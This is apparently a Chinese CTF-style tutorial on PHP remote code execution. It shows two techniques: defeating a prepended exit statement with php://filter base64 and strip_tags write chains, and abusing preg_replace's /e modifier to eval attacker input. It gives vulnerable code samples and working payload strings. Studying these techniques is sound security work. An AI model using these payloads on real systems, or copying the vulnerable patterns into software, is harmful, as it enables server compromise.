目录
RCE exit强制退出绕过
<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
payload txt=aPD9waHAgcGhwaW5mbygpOw&filename=php://filter/write=convert.base64-decode/resource=aaa.php 或者 txt=PD9waHAgcGhwaW5mbygpOw&filename=php://filter/write=string.strip_tags|base64-decode/resource=aaa.php
不管后边跟什么内容,exit;都会在此之前强制退出。我们如何让exit;失效呢?
方法一:
主要使用php://伪协议,将content以base64编码写入,base64编码以[A-Za-z0-9+/=]四位字符为单位编码,除开[A-Za-z0-9+/=]这64位字符,其他字符不会编码,所以我们只用考虑phpexit,在其后面加上一位任意字符,让base64可以解码,这样就逃脱了exit;强制退出的限制。再在后面添加<? phpinfo();base64编码的结果。
方法二:
txt=PD9waHAgcGhwaW5mbygpOw&filename=php://filter/write=string.strip_tags|base64-decode/resource=aaa.php
我们直接使用string.strip_tags这个属性,去除php标签,这样exit就会失效。然后我们在将传值的内容base64编码,这样就不会被string.strip_tags属性删除。
RCE preg_replace()正则替换
<?php
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
payload ?\S*=${getFlag()}&cmd=phpinfo(); var_dump(preg_replace('/(\S*)/ie','strtolower("\\1")','${phpinfo()}'));// 结果:字符串'11'
首先我们来分析preg_replace()这个函数,有三个参数,第一个参数为要搜索的模式,通常传正则表达式匹配。
功能为:将匹配到$subject
部分,替换为$replacement
preg_replace( string|array $pattern
, string|array $replacement
, string|array $subject
, )
注意点一:
”\ \1“会被转义为"\1", \1 在正则表达式中有自己的含义。在换括号里面的正则表达式,\1会匹配到字符串中第一个符合括号里的正则匹配的字符串。
所以我们可以将$str全部匹配上,放入strtolower()函数中执行,这里的$str是我们执行命令代码的点,我们可以通过getFlag()函数获取的GET值来传递。我们这里以phpinfo()执行为例
\S*=phpinfo()
注意点二
如果现在$str=getFlag(),strtolower(phpinfo()),会直接把Phpinfo()转小写,
这里的'strtolower("{${eval(phpinfo())}}")'执行后相当于 strtolower("{${1}}") 又相当于 strtolower("{null}") 又相当于 '' 空字符串
preg_replace('/(' . $re . ')/ei','strtolower("\1")',$str),由以上可得该函数执行等价于 strtolower($str)